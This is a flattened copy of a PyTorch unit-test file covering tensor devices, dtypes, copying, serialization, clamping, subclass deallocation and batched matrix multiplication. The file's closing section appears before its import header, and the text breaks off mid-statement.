inp_tensor = torch.randn(5, 3, device='cpu').bfloat16() t = torch.tensor([[1, 2, 3], [4, 5, 6], [7, 8, 9]], dtype=torch.bfloat16, device='cpu') index = torch.tensor([0, 4, 2], device='cpu') out_cpu = inp_tensor.index_add(0, index, t) inp_tensor = inp_tensor.to(device=device) t = t.to(device=device) index = index.to(device=device) out_gpu = inp_tensor.index_add(0, index, t) self.assertEqual(out_cpu, out_gpu, atol=1e-2, rtol=0) def test_device_serialization(self, device): x = torch.randn(4, 4, device=device) with tempfile.NamedTemporaryFile() as f: torch.save(x, f) f.seek(0) x_copy = torch.load(f) self.assertEqual(x_copy, x) self.assertIs(type(x_copy), type(x)) self.assertEqual(x_copy.device, x.device) @deviceCountAtLeast(2) def test_multidevice_serialization(self, devices): x = [torch.randn(4, 4, device=devices[0]), torch.randn(4, 4, device=devices[1])] with tempfile.NamedTemporaryFile() as f: torch.save(x, f) f.seek(0) x_copy = torch.load(f) for original, cp in zip(x, x_copy): self.assertEqual(cp, original) self.assertIs(type(cp), type(original)) self.assertEqual(cp.device, original.device) @deviceCountAtLeast(1) def test_copy_noncontig(self, devices): def do_test(d0, d1): x = torch.tensor([1.5, 2.5, 3.5, 4.5, 5.5, 6.5], device=d0) y = torch.tensor([0, 0, 0, 0, 0, 0], device=d1) self.assertNotEqual(x.dtype, y.dtype) y[::2].copy_(x[::2]) self.assertEqual(y, [1, 0, 3, 0, 5, 0]) do_test('cpu', devices[0]) do_test(devices[0], 'cpu') if len(devices) > 1: do_test(devices[0], devices[1]) @deviceCountAtLeast(2) def test_type_conversions_same_device(self, devices): x = torch.randn(5, 5, device=devices[1]) self.assertEqual(x.int().device, torch.device(devices[1])) self.assertEqual(x.type(torch.int).device, torch.device(devices[1])) self.assertEqual(x.to(torch.int).device, torch.device(devices[1])) @dtypesIfCUDA(torch.half, torch.float, torch.double, torch.int8, torch.short, torch.int, torch.long, torch.uint8) @dtypes(torch.float, torch.double, torch.int8, torch.short, torch.int, torch.long, torch.uint8) def test_from_sequence(self, device, dtype): seq = [list(range(i * 4, i * 4 + 4)) for i in range(5)] reference = torch.arange(0, 20).resize_(5, 4) self.assertEqual(torch.tensor(seq, dtype=dtype, device=device), reference, exact_dtype=False) @deviceCountAtLeast(1) def test_advancedindex_mixed_cpu_devices(self, devices) -> None: def test(x: torch.Tensor, ia: torch.Tensor, ib: torch.Tensor) -> None: # test getitem self.assertEqual(x[:, ia, None, ib, 0].cpu(), x.cpu()[:, ia.cpu(), None, ib.cpu(), 0]) self.assertEqual(x[ia], x.cpu()[ia.cpu()]) # test setitem x_clone1 = x.clone() x_clone2 = x.clone() first_shape = x[:, ia, None, ib, 0].shape second_shape = x[ia].shape x_clone1[:, ia, None, ib, 0] = torch.randn(first_shape).to(x_clone1) x_clone2[ia] = torch.randn(second_shape).to(x_clone2) cpu = torch.device('cpu') for device in devices: # Index cpu tensor with device tensor x = torch.randn(3, 4, 4, 4, 3) ia = torch.tensor([0, 2, 1]).to(device) ib = torch.tensor([0, 2, 1]).to(device) test(x, ia, ib) # Index device tensor with cpu tensor x = x.to(device) ia = ia.to(cpu) ib = ib.to(cpu) test(x, ia, ib) # Index cpu tensor with mixed cpu, device tensors x = x.to(cpu) ia = ia.to(cpu) ib = ib.to(device) test(x, ia, ib) # Index device tensor with mixed cpu, device tensors x = x.to(device) ia = ia.to(cpu) ib = ib.to(device) test(x, ia, ib) if len(devices) > 1: other_device = devices[0] if device == devices[0]: other_device = devices[1] # Index device tensor with mixed cpu, device tensors on different devices x = x.to(device) ia = ia.to(cpu) ib = ib.to(other_device) test(x, ia, ib) def test_copy_broadcast(self, device) -> None: x = torch.randn(10, 5) y = torch.randn(5, device=device) x.copy_(y) self.assertEqual(x[3], y) x = torch.randn(10, 5, device=device) y = torch.randn(5) x.copy_(y) self.assertEqual(x[3], y) @dtypes(torch.int64, torch.float32, torch.float64) def test_clamp(self, device, dtype): test_args = [ *product( [(100, 50), (10, 64), (97,)], # shape (True, False), # non-contiguous ) ] for shape, noncontig in test_args: x = make_tensor(shape, device=device, dtype=dtype, noncontiguous=noncontig) ub = make_tensor(shape, device=device, dtype=dtype, noncontiguous=noncontig) lb = make_tensor(shape, device=device, dtype=dtype, noncontiguous=noncontig) expect = x.max(lb).min(ub) actual = x.clamp(lb, ub) self.assertEqual(expect, actual) expect = np.clip(x.cpu().numpy(), lb.cpu().numpy(), ub.cpu().numpy()) self.assertEqual(expect, actual) expect = x.max(lb) actual = x.clamp(min=lb) self.assertEqual(expect, actual) expect = x.min(ub) actual = x.clamp(max=ub) self.assertEqual(expect, actual) # Test broadcasting min & max expect = x.max(lb[0]).min(ub[..., :1]) actual = x.clamp(lb[0], ub[..., :1]) self.assertEqual(expect, actual) # Test broadcasting x expect = x[..., :1].max(lb).min(ub) actual = x[..., :1].clamp(lb, ub) self.assertEqual(expect, actual) # we implemented custom deallocation for subclasses, so it behooves # us to make sure all of these bits work. We'll use __del__ to # track if objects die or not class Tracker: def __init__(self, marker): self.marker = marker @staticmethod def make(): marker = [False] return marker, Tracker(marker) def __del__(self): self.marker[0] = True @contextlib.contextmanager def disable_gc(): if gc.isenabled(): try: gc.disable() yield finally: gc.enable() else: yield class TestTorch(AbstractTestCases._TestTorchMixin): exact_dtype = True def test_tensor_ctor_scalar(self): x = torch.Tensor(torch.tensor(1.0)) self.assertEqual(x, torch.tensor(1.0)) def test_deepcopy_gradient(self): from copy import deepcopy a = torch.zeros(10) a.grad = torch.ones(10) self.assertEqual(a.grad, deepcopy(a).grad) s = torch.zeros(10).to_sparse() s.grad = torch.ones(10).to_sparse() self.assertEqual(s.grad, deepcopy(s).grad) # ensure sharing is not broken c = deepcopy([a, a.grad]) self.assertTrue(c[0].grad is c[1]) def test_tensor_base_init(self): # Direct construction not OK self.assertRaises(RuntimeError, lambda: torch._C._TensorBase()) # But construction of subclass is OK class T(torch._C._TensorBase): pass T() def test_tensor_base_new(self): # OK to call super().__new__, see # https://github.com/pytorch/pytorch/issues/57421 class TestTensor(torch._C._TensorBase): @staticmethod def __new__(cls, x, *args, **kwargs): return super().__new__(cls, x, *args, **kwargs) x = torch.ones(5) test_tensor = TestTensor(x) def test_pyobj_preserved(self): x = torch.empty(2) x.foo = 2 # put something on __dict__ y = torch.empty(2) y.grad = x del x # x is dead in Python self.assertEqual(y.grad.foo, 2) z = y.grad # it's live del z # it's dead again self.assertEqual(y.grad.foo, 2) def test_subclass_preserved(self): class MyTensor(torch._C._TensorBase): pass x = MyTensor(torch.empty(2)) y = torch.empty(2) y.grad = x del x # x is dead in Python self.assertEqual(type(y.grad), MyTensor) z = y.grad # it's live del z # it's dead again self.assertEqual(type(y.grad), MyTensor) def test_tensor_slot_dealloc(self): class SlotTensor1(torch._C._TensorBase): __slots__ = ['slot1'] class SlotTensor2(SlotTensor1): __slots__ = ['slot2'] m1, t1 = Tracker.make() m2, t2 = Tracker.make() slot_tensor = SlotTensor2(torch.empty(2)) slot_tensor.slot1 = t1 slot_tensor.slot2 = t2 del t1 del t2 self.assertFalse(m1[0]) self.assertFalse(m2[0]) del slot_tensor self.assertTrue(m1[0]) self.assertTrue(m2[0]) def test_tensor_dict_dealloc(self): m, t = Tracker.make() x = torch.empty(2) x.arf = t del t self.assertFalse(m[0]) del x self.assertTrue(m[0]) def test_tensor_finalizer_dealloc(self): m = [False] class FinalizerTensor(torch._C._TensorBase): def __del__(self): m[0] = True fin_tensor = FinalizerTensor(torch.empty(2)) self.assertFalse(m[0]) del fin_tensor self.assertTrue(m[0]) def test_tensor_weakref_dealloc(self): x = torch.empty(2) m = [False] def cb(r): m[0] = True wref = weakref.ref(x, cb) del x self.assertTrue(m[0]) self.assertEqual(wref(), None) def test_tensor_cycle_via_dict(self): m1, t1 = Tracker.make() x = torch.empty(2) x._tracker = t1 del t1 m2, t2 = Tracker.make() y = torch.empty(2) y._tracker = t2 del t2 x._loop = y y._loop = x # C++ reference should keep the cycle live! # This exercise THPVariable_subtype_traverse # NB: Because z.grad is a reference done entirely in C++, cycles # involving it directly are NOT broken by Python GC; you've # set up a good old C++ reference cycle which we cannot safely # break (because C++ references are allowed to be accessed # multithreaded-ly) (TODO: except maybe if you can prove that # only Python has access to the C++ object, in which case you can # also prove that no multithreaded access occurs) z = torch.empty(2) z.grad = x del x del y gc.collect() self.assertFalse(m1[0]) self.assertFalse(m2[0]) with disable_gc(): del z self.assertFalse(m1[0]) self.assertFalse(m2[0]) gc.collect() self.assertTrue(m1[0]) self.assertTrue(m2[0]) def test_tensor_cycle_via_slots(self): m1 = [False] m2 = [False] class SlotTensor1(torch._C._TensorBase): __slots__ = ['slot1'] def __del__(self): m1[0] = True class SlotTensor2(SlotTensor1): __slots__ = ['slot2'] def __del__(self): m2[0] = True x = SlotTensor1(torch.empty(2)) y = SlotTensor2(torch.empty(2)) x.slot1 = y y.slot2 = x del x with disable_gc(): del y self.assertFalse(m1[0]) self.assertFalse(m2[0]) gc.collect() self.assertTrue(m1[0]) self.assertTrue(m2[0]) def test_backward_hooks_traverse(self): m1, t1 = Tracker.make() m2, t2 = Tracker.make() x = torch.empty(2, requires_grad=True) x._tracker = t1 y = torch.empty(2, requires_grad=True) y._tracker = t2 del t1 del t2 # this hits a special setter, it's not just a __dict__ entry x._backward_hooks = y y._backward_hooks = x del x with disable_gc(): del y self.assertFalse(m1[0]) self.assertFalse(m2[0]) gc.collect() self.assertTrue(m1[0]) self.assertTrue(m2[0]) def test_dead_weak_ref(self): x = torch.empty(2) w_x = weakref.ref(x) y = torch.empty(2) y.grad = x del x x = w_x() # Ideally, x would keep the tensor live. But CPython doesn't # provide enough hooks to do this. So it will go dead and x # will transmute into an undefined tensor. Not great, but the # best we can do. del y self.assertRaises(RuntimeError, lambda: x.sigmoid()) def test_resurrected_weak_ref(self): x = torch.empty(2) w_x = weakref.ref(x) y = torch.empty(2) y.grad = x del x x = w_x() # Use this to manually fix weak references after dereferencing them x._fix_weakref() del y x.sigmoid() @torch.inference_mode() def test_bmm_multithreaded(self): device = 'cpu' num_threads = torch.get_num_threads() torch.set_num_threads(4) batch_sizes = [1, 10] M, N, O = 23, 8, 12 dtype = torch.float32 numpy_dtype = dtype def invert_perm(p): d = {x: i for i, x in enumerate(p)} return (d[0], d[1], d[2]) def generate_inputs(num_batches): # transposed tensors for perm1, perm2 in itertools.product(itertools.permutations((0, 1, 2)), repeat=2): b1 = make_tensor((num_batches, M, N), device, dtype, low=-1, high=1) b2 = make_tensor((num_batches, N, O), device, dtype, low=-1, high=1) b1 = b1.permute(perm1).contiguous().permute(invert_perm(perm1)) b2 = b2.permute(perm2).contiguous().permute(invert_perm(perm2)) yield b1, b2 # broadcasting tensors for b1, b2, b3, b4, b5, b6 in itertools.product((True, False), repeat=6): shape1 = (num_batches if b1 else 1, M if b2 else 1, N if b3 else 1) shape2 = (num_batches if b4 else 1, N if b5 else 1, O if b6 else 1) b1 = make_tensor(shape1, device, dtype, low=-1, high=1).expand(num_batches, M, N) b2 = make_tensor(shape2, device, dtype, low=-1, high=1).expand(num_batches, N, O) yield b1, b2 # zero-sized tensors for z1, z2, z3, z4 in itertools.product((True, False), repeat=4): shape1 = (num_batches if z1 else 0, M if z2 else 0, N if z3 else 0) shape2 = (num_batches if z1 else 0, N if z3 else 0, O if z4 else 0) b1 = torch.randn(shape1, dtype=dtype, device=device) b2 = torch.randn(shape2, dtype=dtype, device=device) yield b1, b2 try: for num_batches in batch_sizes: for (b1, b2), perm3 in itertools.product(generate_inputs(num_batches), itertools.permutations((0, 1, 2))): res1 = torch.bmm(b1, b2) res2 = torch.full((num_batches, M, O), math.nan, dtype=dtype, device=device) \ .permute(perm3).contiguous().permute(invert_perm(perm3)) torch.bmm(b1, b2, out=res2) expect = torch.from_numpy( b1.to(numpy_dtype).cpu().numpy() @ b2.to(numpy_dtype).cpu().numpy()).to(device=device, dtype=dtype) self.assertEqual(expect, res1) self.assertEqual(expect, res2) finally: torch.set_num_threads(num_threads) # TODO: these empy classes are temporarily instantiated for XLA compatibility # once XLA updates their test suite it should be removed class TestViewOps(TestCase): pass class TestTensorDeviceOps(TestCase): pass # Generates tests # Note: test generation must be done at file scope, not within main, or # pytest will fail. add_neg_dim_tests() instantiate_device_type_tests(TestViewOps, globals()) instantiate_device_type_tests(TestVitalSignsCuda, globals()) instantiate_device_type_tests(TestTensorDeviceOps, globals()) instantiate_device_type_tests(TestTorchDeviceType, globals()) instantiate_device_type_tests(TestDevicePrecision, globals(), except_for='cpu') if __name__ == '__main__': run_tests()
# -*- coding: utf-8 -*- import torch import torch.utils.data import numpy as np import contextlib import gc import io import inspect import itertools import math import random import re import copy import os import tempfile import unittest import warnings import types import pickle import textwrap import subprocess import weakref import sys from torch.utils.dlpack import from_dlpack, to_dlpack from torch._six import inf, nan, string_classes from itertools import product, combinations, permutations from functools import partial from torch import multiprocessing as mp from torch.testing import make_tensor from torch.testing._internal.common_utils import ( TestCase, TEST_WITH_ROCM, run_tests, IS_WINDOWS, IS_FILESYSTEM_UTF8_ENCODING, NO_MULTIPROCESSING_SPAWN, do_test_dtypes, IS_SANDCASTLE, IS_FBCODE, IS_REMOTE_GPU, load_tests, slowTest, skipCUDAMemoryLeakCheckIf, BytesIOContext, noarchTest, skipIfRocm, skipIfNoSciPy, TemporaryFileName, TemporaryDirectoryName, wrapDeterministicFlagAPITest, DeterministicGuard, CudaSyncGuard) from multiprocessing.reduction import ForkingPickler from torch.testing._internal.common_device_type import ( instantiate_device_type_tests, skipCUDAVersionIn, onlyCUDA, onlyCPU, dtypes, dtypesIfCUDA, dtypesIfCPU, deviceCountAtLeast, skipMeta, PYTORCH_CUDA_MEMCHECK, largeTensorTest, onlyOnCPUAndCUDA, expectedAlertNondeterministic) from typing import Dict, List, Tuple import torch.backends.quantized import torch.testing._internal.data from torch.testing._internal.common_cuda import tf32_on_and_off, tf32_is_not_fp32 from torch.testing._internal.common_dtype import ( get_all_fp_dtypes, get_all_int_dtypes, get_all_math_dtypes, get_all_dtypes, get_all_complex_dtypes ) # Protects against includes accidentally setting the default dtype assert torch.get_default_dtype() is torch.float32 # load_tests from torch.testing._internal.common_utils is used to automatically filter tests for # sharding on sandcastle. This line silences flake warnings load_tests = load_tests AMPERE_OR_ROCM = TEST_WITH_ROCM or tf32_is_not_fp32() # Wrap base test class into a class to hide it from testing # See https://stackoverflow.com/a/25695512 class AbstractTestCases: # This is intentionally prefixed by an underscore. Otherwise pytest will try to # run its methods as test cases. class _TestTorchMixin(TestCase): def _make_tensors(self, shape, val_range=(-100, 100), use_floating=True, use_integral=True, use_complex=False) -> Dict[str, List[torch.Tensor]]: float_types = [torch.double, torch.float] int_types = [torch.int64, torch.int32, torch.int16] complex_types = [torch.complex64, torch.complex128] def make_contiguous(shape, dtype) -> torch.Tensor: if dtype in float_types: val = torch.randn(shape, dtype=dtype) val = val * ((val_range[1] - val_range[0]) / (math.pi * 2.0)) val = val + ((val_range[1] - val_range[0]) / 2.0) val = torch.clamp(val, min=val_range[0], max=val_range[1]) return val result = torch.zeros(shape, dtype=dtype) result.apply_(lambda x: random.randint(val_range[0], val_range[1])) return result def make_non_contiguous(shape, dtype) -> torch.Tensor: contig = make_contiguous(shape, dtype) non_contig = torch.empty(shape + (2, 2), dtype=dtype)[..., 0] non_contig = non_contig.select(-1, -1) non_contig.copy_(contig) self.assertFalse(non_contig.is_contiguous()) return non_contig def make_contiguous_slice(size, dtype) -> torch.Tensor: contig = make_contiguous((1, size), dtype) non_contig = contig[:1, 1:size - 1] self.assertTrue(non_contig.is_contiguous()) return contig types = [] if use_floating: types += float_types if use_integral: types += int_types if use_complex: types += complex_types tensors: Dict[str, List[torch.Tensor]] = {"cont": [], "noncont": [], "slice": []} for dtype in types: tensors["cont"].append(make_contiguous(shape, dtype)) tensors["noncont"].append(make_non_contiguous(shape, dtype)) tensors["slice"].append(make_contiguous_slice(sum(list(shape)), dtype)) return tensors def test_dir(self): dir(torch) @wrapDeterministicFlagAPITest def test_deterministic_flag(self): for deterministic in [True, False]: torch.use_deterministic_algorithms(deterministic) self.assertEqual(deterministic, torch.are_deterministic_algorithms_enabled()) with self.assertRaisesRegex(RuntimeError, r"use_deterministic_algorithms expects a bool, but got int"): torch.use_deterministic_algorithms(1) def test_type_conversion_via_dtype_name(self): x = torch.tensor([1]) self.assertEqual(x.byte().dtype, torch.uint8) self.assertEqual(x.bool().dtype, torch.bool) self.assertEqual(x.char().dtype, torch.int8) self.assertEqual(x.double().dtype, torch.float64) self.assertEqual(x.float().dtype, torch.float32) self.assertEqual(x.half().dtype, torch.float16) self.assertEqual(x.int().dtype, torch.int32) self.assertEqual(x.bfloat16().dtype, torch.bfloat16) cfloat = x.cfloat() self.assertEqual(cfloat.dtype, torch.complex64) self.assertEqual(cfloat.real, x.float()) self.assertEqual(cfloat.imag, torch.zeros_like(cfloat.imag)) cdouble = x.cdouble() self.assertEqual(cdouble.dtype, torch.complex128) self.assertEqual(cdouble.real, x.double()) self.assertEqual(cdouble.imag, torch.zeros_like(cdouble.imag)) def test_doc_template(self) -> None: from torch._torch_docs import __file__ as doc_file from torch._torch_docs import multi_dim_common, single_dim_common, factory_common_args, factory_like_common_args with open(doc_file, "r", encoding="utf-8") as f: doc_strs = f.read() for doc_str in re.findall(r'add_docstr\((.*?),.*?("""|\'\'\')(.*?)("""|\'\'\')\)', doc_strs, re.MULTILINE | re.DOTALL): for common_args in [multi_dim_common, single_dim_common, factory_common_args, factory_like_common_args]: for k, v in common_args.items(): self.assertNotIn(v, doc_str[2], 'The argument description "{}" in {} can be ' 'replaced by {{{}}}'.format(v, doc_str[0], k)) def test_doc(self): checked_types = (types.MethodType, types.FunctionType, types.BuiltinFunctionType, types.BuiltinMethodType) def test_namespace(ns, *skips): if isinstance(ns, object): ns_name = ns.__class__.__name__ else: ns_name = ns.__name__ skip_regexes = [] for r in skips: if isinstance(r, string_classes): skip_regexes.append(re.compile('^{}$'.format(re.escape(r)))) else: skip_regexes.append(r) for name in dir(ns): if name.startswith('_'): continue if name in ['real', 'imag']: y = torch.randn(1, dtype=torch.cfloat) var = getattr(y, name) else: var = getattr(ns, name) if not isinstance(var, checked_types): continue doc = var.__doc__ has_doc = doc is not None and len(doc.strip()) > 0 full_name = ns_name + '.' + name if any(r.match(name) for r in skip_regexes): self.assertFalse(has_doc, 'New docs have been added for {}, please remove ' 'it from the skipped list in TestTorch.test_doc'.format(full_name)) else: self.assertTrue(has_doc, '{} is missing documentation'.format(full_name)) # FIXME: All of the following should be marked as expected failures # so that it is easier to tell when missing has been added. # FIXME: fix all the skipped ones below! test_namespace(torch.randn(1), 'as_strided_', re.compile('^clamp_(min|max)_?$'), 'is_distributed', 'is_nonzero', 'is_same_size', 'log_softmax', 'map2_', 'new', 'reinforce', 'relu', 'relu_', 'prelu', 'resize', 'resize_as', 'softmax', 'split_with_sizes', 'unsafe_split_with_sizes', ) test_namespace(torch.nn) test_namespace(torch.nn.functional, 'assert_int_or_pair') # TODO: add torch.* tests when we have proper namespacing on ATen functions # test_namespace(torch) def test_ort_error(self): with self.assertRaisesRegex(RuntimeError, "Could not run 'aten::empty.memory_format' with arguments from the 'ORT' backend"): torch.zeros(1, device=torch.device('ort')) def test_has_storage(self): self.assertIsNotNone(torch.tensor([]).storage()) self.assertIsNotNone(torch.empty(0).storage()) self.assertIsNotNone(torch.tensor([]).clone().storage()) self.assertIsNotNone(torch.tensor([0, 0, 0]).nonzero().storage()) self.assertIsNotNone(torch.tensor([]).new().storage()) def test_where_invalid_device(self): if torch.cuda.is_available(): for devices in [('cpu', 'cuda', 'cuda'), ('cuda', 'cpu', 'cpu'), ('cuda', 'cpu', 'cuda'), ('cpu', 'cuda', 'cpu')]: condition = torch.rand(16, device=devices[0]) x = torch.rand(16, device=devices[1]) y = torch.rand(16, device=devices[2]) with self.assertRaisesRegex(RuntimeError, "Expected condition, x and y to be on the same device"): torch.where(condition, x, y) def test_where_bool_tensor(self): for d in torch.testing.get_all_device_types(): a = torch.tensor([True, False], device=d) res = torch.where(a > 0) self.assertEqual(1, len(res)) def test_where_tensor(self): def rand_tensor(size, dtype, device): if dtype.is_floating_point or dtype.is_complex: return torch.rand(size=size, dtype=dtype, device=device) elif dtype == torch.uint8: return torch.randint(1, 5, size=size, dtype=dtype, device=device) elif dtype == torch.bool: return torch.randint(0, 1, size=size, dtype=dtype, device=device).bool() else: return torch.randint(-5, 5, size=size, dtype=dtype, device=device) def get_tensor(size, dtype, device, contiguous): if not contiguous and len(size) < 2: raise RuntimeError("Unable to generate non contiguous tensor with size < 2") t = rand_tensor(size, dtype, device) if contiguous: return t else: return t.transpose(0, 1) height = 5 width = 5 for device in torch.testing.get_all_device_types(): for dt1 in get_all_dtypes(): for dt2 in get_all_dtypes(): for contiguous in [True, False]: x1 = get_tensor((height, width), dt1, device, contiguous) x2 = get_tensor((height, width), dt2, device, contiguous) if dt1 != dt2: self.assertRaisesRegex(RuntimeError, "expected scalar type", lambda: torch.where(x1 == 1, x1, x2)) else: if x1.is_floating_point(): condition = (x1 < 0.5) elif x1.is_complex(): condition = (x1.abs() < 0.5) else: condition = (x1 == 1) expected = condition.to(x1.dtype) * x1 + (~condition).to(x2.dtype) * x2 result = torch.where(condition, x1, x2) self.assertEqual(expected, result) def test_dtypes(self): all_dtypes = get_all_dtypes() do_test_dtypes(self, all_dtypes, torch.strided, torch.device('cpu')) if torch.cuda.is_available(): all_dtypes.remove(torch.bfloat16) # Remove once _th_zero_ is enabled on cuda for bfloat16 do_test_dtypes(self, all_dtypes, torch.strided, torch.device('cuda:0')) def test_copy_dtypes(self): all_dtypes = get_all_dtypes() for dtype in all_dtypes: copied_dtype = copy.deepcopy(dtype) self.assertIs(dtype, copied_dtype) def test_copy_transpose(self): x = torch.arange(100 * 100, dtype=torch.float).reshape(100, 100).t() y = torch.empty(100, 100, dtype=torch.float) y.copy_(x) self.assertEqual(y[:, 0], range(100)) self.assertEqual(y[:, 40], range(4000, 4100)) y = torch.empty(100, 100, dtype=torch.double) y.copy_(x) self.assertEqual(y[:, 0], range(100)) self.assertEqual(y[:, 40], range(4000, 4100)) # Validates regression reported in https://github.com/pytorch/pytorch/issues/45269 x = torch.arange(100 * 100).reshape(100, 100).to(dtype=torch.cfloat).t() y = torch.empty(100, 100, dtype=torch.cfloat) y.copy_(x) self.assertEqual(y[:, 0], range(100)) self.assertEqual(y[:, 40], range(4000, 4100)) # Verifies the bugfix for https://github.com/pytorch/pytorch/issues/64358 def test_copy_transpose_2d_broadcast(self): # The shape (60, 60) is chosen because of # `MIN_SZ = 60 * 60` in `copy_transpose_valid` from aten/src/ATen/native/Copy.cpp A = torch.randn(60, 60) A.copy_(torch.tensor([[1.]])) self.assertEqual(A, torch.ones(60, 60)) def test_device(self): cpu = torch.device('cpu') self.assertEqual('cpu', str(cpu)) self.assertEqual('cpu', cpu.type) self.assertEqual(None, cpu.index) cpu0 = torch.device('cpu:0') self.assertEqual('cpu:0', str(cpu0)) self.assertEqual('cpu', cpu0.type) self.assertEqual(0, cpu0.index) cpu0 = torch.device('cpu', 0) self.assertEqual('cpu:0', str(cpu0)) self.assertEqual('cpu', cpu0.type) self.assertEqual(0, cpu0.index) cuda = torch.device('cuda') self.assertEqual('cuda', str(cuda)) self.assertEqual('cuda', cuda.type) self.assertEqual(None, cuda.index) cuda1 = torch.device('cuda:1') self.assertEqual('cuda:1', str(cuda1)) self.assertEqual('cuda', cuda1.type) self.assertEqual(1, cuda1.index) cuda1 = torch.device('cuda', 1) self.assertEqual('cuda:1', str(cuda1)) self.assertEqual('cuda', cuda1.type) self.assertEqual(1, cuda1.index) cuda90 = torch.device('cuda', 90) self.assertEqual('cuda:90', str(cuda90)) self.assertEqual('cuda', cuda90.type) self.assertEqual(90, cuda90.index) self.assertRaises(RuntimeError, lambda: torch.device('cpu:-1')) self.assertRaises(RuntimeError, lambda: torch.device('cuda:-1')) self.assertRaises(RuntimeError, lambda: torch.device('cuda:2 ')) self.assertRaises(RuntimeError, lambda: torch.device('cuda: 2')) self.assertRaises(RuntimeError, lambda: torch.device('cuda:2 2')) self.assertRaises(RuntimeError, lambda: torch.device('cuda:2.')) self.assertRaises(RuntimeError, lambda: torch.device('cuda:2?')) self.assertRaises(RuntimeError, lambda: torch.device('cuda:?2')) self.assertRaises(RuntimeError, lambda: torch.device('cuda:')) self.assertRaises(RuntimeError, lambda: torch.device('cuda:2.232')) self.assertRaises(RuntimeError, lambda: torch.device('cuda:2 cuda:3')) self.assertRaises(RuntimeError, lambda: torch.device('cuda:2+cuda:3')) self.assertRaises(RuntimeError, lambda: torch.device('cuda:2cuda:3')) self.assertRaises(RuntimeError, lambda: torch.device(-1)) self.assertRaises(RuntimeError, lambda: torch.device('other')) self.assertRaises(RuntimeError, lambda: torch.device('other:0')) device_set = {'cpu', 'cpu:0', 'cuda', 'cuda:0', 'cuda:1', 'cuda:10', 'cuda:100'} device_hash_set = set() for device in list(device_set): device_hash_set.add(hash(torch.device(device))) self.assertEqual(len(device_set), len(device_hash_set)) def get_expected_device_repr(device): if device.index is not None: return "device(type='{type}', index={index})".format( type=device.type, index=device.index) return "device(type='{type}')".format(type=device.type) for device in device_set: dev = torch.device(device) self.assertEqual(repr(dev), get_expected_device_repr(dev)) def test_to(self): def test_copy_behavior(t, non_blocking=False): self.assertIs(t, t.to(t, non_blocking=non_blocking)) self.assertIs(t, t.to(t.dtype, non_blocking=non_blocking)) self.assertIs(t, t.to(torch.empty_like(t), non_blocking=non_blocking)) self.assertIsNot(t, t.to(t, non_blocking=non_blocking, copy=True)) self.assertIsNot(t, t.to(t.dtype, non_blocking=non_blocking, copy=True)) self.assertIsNot(t, t.to(torch.empty_like(t), non_blocking=non_blocking, copy=True)) devices = [t.device] if t.device.type == 'cuda': if t.device.index == -1: devices.append('cuda:{}'.format(torch.cuda.current_device())) elif t.device.index == torch.cuda.current_device(): devices.append('cuda') for device in devices: self.assertIs(t, t.to(device, non_blocking=non_blocking)) self.assertIs(t, t.to(device, t.dtype, non_blocking=non_blocking)) self.assertIsNot(t, t.to(device, non_blocking=non_blocking, copy=True)) self.assertIsNot(t, t.to(device, t.dtype, non_blocking=non_blocking, copy=True)) a = torch.tensor(5) test_copy_behavior(a) self.assertEqual(a.device, a.to('cpu').device) self.assertEqual(a.device, a.to('cpu', dtype=torch.float32).device) self.assertIs(torch.float32, a.to('cpu', dtype=torch.float32).dtype) self.assertEqual(a.device, a.to(torch.float32).device) self.assertIs(torch.float32, a.to(dtype=torch.float32).dtype) self.assertEqual(a.data_ptr(), a.to('cpu').data_ptr()) self.assertEqual(a.data_ptr(), a.to(dtype=a.dtype, device=a.device, copy=False).data_ptr()) self.assertEqual(a.data_ptr(), a.to('cpu', copy=False).data_ptr()) self.assertNotEqual(a.data_ptr(), a.to('cpu', copy=True).data_ptr()) if torch.cuda.is_available(): for non_blocking in [True, False]: for cuda in ['cuda', 'cuda:0' if torch.cuda.device_count() == 1 else 'cuda:1']: b = torch.tensor(5., device=cuda) test_copy_behavior(b, non_blocking) self.assertEqual(b.device, b.to(cuda, non_blocking=non_blocking).device) self.assertEqual(a.device, b.to('cpu', non_blocking=non_blocking).device) self.assertEqual(b.device, a.to(cuda, non_blocking=non_blocking).device) self.assertIs(torch.int32, b.to('cpu', dtype=torch.int32, non_blocking=non_blocking).dtype) self.assertEqual(a.device, b.to('cpu', dtype=torch.int32, non_blocking=non_blocking).device) self.assertIs(torch.int32, b.to(dtype=torch.int32).dtype) self.assertEqual(b.device, b.to(dtype=torch.int32).device) def test_to_with_tensor(self): a = torch.tensor(5) self.assertEqual(a.device, a.to(a).device) if torch.cuda.is_available(): for non_blocking in [True, False]: for cuda in ['cuda', 'cuda:0' if torch.cuda.device_count() == 1 else 'cuda:1']: b = torch.tensor(5., device=cuda) self.assertEqual(b.device, b.to(b, non_blocking=non_blocking).device) self.assertEqual(a.device, b.to(a, non_blocking=non_blocking).device) self.assertEqual(b.device, a.to(b, non_blocking=non_blocking).device) def test_as_subclass(self): class SubTensor(torch.Tensor): member_var = object() t0 = torch.tensor(0) t1 = torch.tensor([1, 2]) t2 = torch.tensor([[3, 4], [5, 6]]) s0 = t0.as_subclass(SubTensor) s1 = t1.as_subclass(SubTensor) s2 = t2.as_subclass(SubTensor) # Check that the correct type is returned. self.assertTrue(type(s0) is SubTensor) self.assertTrue(type(s1) is SubTensor) self.assertTrue(type(s2) is SubTensor) # Check that the data is equal. self.assertEqual(t0, s0) self.assertEqual(t1, s1) self.assertEqual(t2, s2) t0[()] = 1 t1[1] = 3 t2[1, 1] = 7 # Check that the data is equal even after modification. self.assertEqual(t0, s0) self.assertEqual(t1, s1) self.assertEqual(t2, s2) # Check that member variables are passed through. self.assertTrue(s0.member_var is SubTensor.member_var) self.assertTrue(s1.member_var is SubTensor.member_var) self.assertTrue(s2.member_var is SubTensor.member_var) # Test that autograd is propagated. t = torch.tensor(5, dtype=torch.float32, requires_grad=True) # Run a calculation on the tensor. exp_t = torch.exp(t) # Cast exp_t to a subclass. exp_s = exp_t.as_subclass(SubTensor) # Make sure that t.grad was initially None self.assertTrue(t.grad is None) # Run the autograd calculation. exp_s.backward() # Make sure autograd was propagated to the original tensor # declared with requires_grad. self.assertTrue(t.grad is not None) # Make sure invalid subclasses raise nice errors class BadSubTensor(): member_var = object() err_msg = "Creating a Tensor subclass from a class that does not inherit from Tensor" with self.assertRaisesRegex(RuntimeError, err_msg): s0 = t0.as_subclass(BadSubTensor) def test_type(self): x = torch.randn(3, 3).double() self.assertEqual(x.type('torch.FloatTensor').dtype, torch.float32) self.assertEqual(x.type(torch.FloatTensor).dtype, torch.float32) self.assertEqual(x.int().type(torch.Tensor).dtype, 